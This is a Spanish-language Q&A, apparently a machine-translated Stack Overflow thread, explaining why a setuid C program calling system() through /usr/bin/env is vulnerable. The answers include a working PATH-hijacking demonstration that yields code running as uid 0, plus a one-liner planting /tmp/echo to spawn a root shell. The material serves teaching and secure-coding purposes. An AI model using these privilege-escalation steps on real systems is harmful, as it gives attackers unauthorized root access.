Pregunta

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
    gid_t gid;
    uid_t uid;
    gid = getegid();
    uid = geteuid();

    setresgid(gid, gid, gid);
    setresuid(uid, uid, uid);

    system("/usr/bin/env echo and now what?");

}

La forma en que lo entiendo, el código anterior permite la ejecución del código arbitrario (o programa): ¿qué hace que esto sea vulnerable y cómo se aprovecha de esto?

¿Fue útil?

Solución

Puedes anular el PATH variable para señalar un directorio con su versión personalizada de echo y desde echo se ejecuta usando env, no se trata como un incorporado.

Esto constituye una vulnerabilidad solo si el código se ejecuta como usuario privilegiado.

En el ejemplo de ejemplo a continuación, VC contiene el código de la pregunta.

$ cat echo.c
#include <stdio.h>
#include <unistd.h>

int main() {
  printf("Code run as uid=%d\n", getuid());
}
$ cc -o echo echo.c
$ cc -o v v.c
$ sudo chown root v
$ sudo chmod +s v
$ ls -l
total 64
-rwxr-xr-x  1 user     group  8752 Nov 29 01:55 echo
-rw-r--r--  1 user     group    99 Nov 29 01:54 echo.c
-rwsr-sr-x  1 root     group  8896 Nov 29 01:55 v
-rw-r--r--  1 user     group   279 Nov 29 01:55 v.c
$ ./v
and now what?
$ export PATH=.:$PATH
$ ./v
Code run as uid=0
$ 

Tenga en cuenta que la configuración de ID de usuario real, ID efectiva de usuario y ID de usador de sets con una llamada a setresuid() antes de la llamada a system() En el código vulnerable publicado en la pregunta, uno explota la vulnerabilidad, incluso cuando solo la ID de usuario efectiva se establece en una ID de usuario privilegiada y la ID de usuario real sigue sin privilegios un archivo como se indicó). Sin la llamada a setresuid() el caparazón publicado por system() restablecería la ID de usuario efectiva a la ID de usuario real, lo que hace que la exploit sea ineficaz. Sin embargo, en el caso de que el código vulnerable se ejecute con ID de usuario real de un usuario privilegiado, system() llamar solo es suficiente. Citado sh Página del hombre:

Si el shell se inicia con la ID efectiva del usuario (grupo) no igual a la ID de usuario real (grupo), y la opción -p no se suministra, no se leen archivos de inicio, las funciones de shell no se heredan del entorno, los Shellopts Se ignora la variable, si aparece en el entorno, y la ID de usuario efectiva se establece en la ID de usuario real. Si la opción -p se suministra en la invocación, el comportamiento de inicio es el mismo, pero la ID de usuario efectiva no se restablece.

Además, tenga en cuenta que setresuid() no es portátil, pero setuid() o setreuid() También se puede usar en el mismo efecto.

Otros consejos

Bueno, en realidad en la llamada de función del sistema, puede meterse con el echo dominio. Por ejemplo, si ejecuta el siguiente código:

echo "/bin/bash" > /tmp/echo
chmod 777 /tmp/echo && export PATH=/tmp:$PATH

Obtendrá un shell con el permiso del propietario del archivo

Licenciado bajo: CC-BY-SA con atribución
No afiliado a StackOverflow
scroll top